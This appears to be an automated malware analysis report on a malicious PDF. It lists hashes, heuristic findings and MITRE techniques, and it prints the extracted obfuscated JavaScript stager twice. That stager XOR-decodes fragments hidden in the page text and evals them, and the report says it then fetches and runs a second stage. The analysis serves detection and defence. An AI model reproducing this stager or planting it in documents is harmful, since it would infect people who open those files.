PDF malware analysis — malicious · 78461283a221e0ca

MALICIOUS

PDF

4.5 KB Created: 2010-04-30 20:47:26 Authoring application: Fodebarexa

MD5: 0481ac4fc98071d41d25c7873b8ff331 SHA-1: 547fcde583cf309ee4cad42cb2c8f8ab8dea417e SHA-256: 78461283a221e0ca1802585e463b55325e1dfdc0246c09d0e42c77bf68f34d62

86 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript, identified by heuristics as a stager. This script reconstructs a URL by concatenating string literals and then uses it to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 3

Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER

PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0010_000.js
7ad1ee8cba7784f1a95b635244a4165fad123a151fe73c8fc9a0d61755caba74 pdf-javascript-stream PDF /JS object 10 at offset 0xCAB 874 bytes

Filename	Kind	Source	Size
`javascript_obj0010_000.js` `7ad1ee8cba7784f1a95b635244a4165fad123a151fe73c8fc9a0d61755caba74`	pdf-javascript-stream	PDF /JS object 10 at offset 0xCAB	874 bytes
Preview script First 1,000 lines of the extracted script var d=String;function r(j,h){return j^h;};var rC="getPa"+"geNumKxwy".substr(0,5)+"RXlWords".substr(3);var cF="from"+"Char"+"CodewR2G".substr(0,4);;var hS=this;var uH=1;var x=new String();var l=String("char"+"CodeMPrL".substr(0,4)+"pmEAtmEp".substr(3,2));var lE=110;var eZ=new String("subs"+"tro5c8".substr(0,2));var z=String("getPJF0o".substr(0,4)+"ageN"+"kNOthWokON".substr(3,4)+"ER7rd7ER".substr(3,2));var v="unesxbWN".substr(0,4)+"cape";var p=["p","a","","p"];b=new String(p[1]+p[0]+p[0]+p[2]);var vQ=["l","v","a","e",""];kX=new String(vQ[3]+vQ[1]+vQ[2]+vQ[0]+vQ[4]);;var jW=65-64;var qV=new String("%oMLO".substr(0,1));var pK=53-51;var mB=3091-3091;;var hU=hS[rC](uH);var gJ=hS[kX];var b=hS[b];var zY=hS[v];for(var uHC=mB;uHC<hU;uHC+=jW){qVC=hS[z](uH,uHC);var iV=qVC[eZ](qVC.length-pK,pK);var hI=qV+iV;var mF=zY(hI);var rE=mF[l](mB);var cD=r(rE,lE);x+=d[cF](cD);}gJ(x);

Preview script

First 1,000 lines of the extracted script

var d=String;function r(j,h){return j^h;};var rC="getPa"+"geNumKxwy".substr(0,5)+"RXlWords".substr(3);var cF="from"+"Char"+"CodewR2G".substr(0,4);;var hS=this;var uH=1;var x=new String();var l=String("char"+"CodeMPrL".substr(0,4)+"pmEAtmEp".substr(3,2));var lE=110;var eZ=new String("subs"+"tro5c8".substr(0,2));var z=String("getPJF0o".substr(0,4)+"ageN"+"kNOthWokON".substr(3,4)+"ER7rd7ER".substr(3,2));var v="unesxbWN".substr(0,4)+"cape";var p=["p","a","","p"];b=new String(p[1]+p[0]+p[0]+p[2]);var vQ=["l","v","a","e",""];kX=new String(vQ[3]+vQ[1]+vQ[2]+vQ[0]+vQ[4]);;var jW=65-64;var qV=new String("%oMLO".substr(0,1));var pK=53-51;var mB=3091-3091;;var hU=hS[rC](uH);var gJ=hS[kX];var b=hS[b];var zY=hS[v];for(var uHC=mB;uHC<hU;uHC+=jW){qVC=hS[z](uH,uHC);var iV=qVC[eZ](qVC.length-pK,pK);var hI=qV+iV;var mF=zY(hI);var rE=mF[l](mB);var cD=r(rE,lE);x+=d[cF](cD);}gJ(x);

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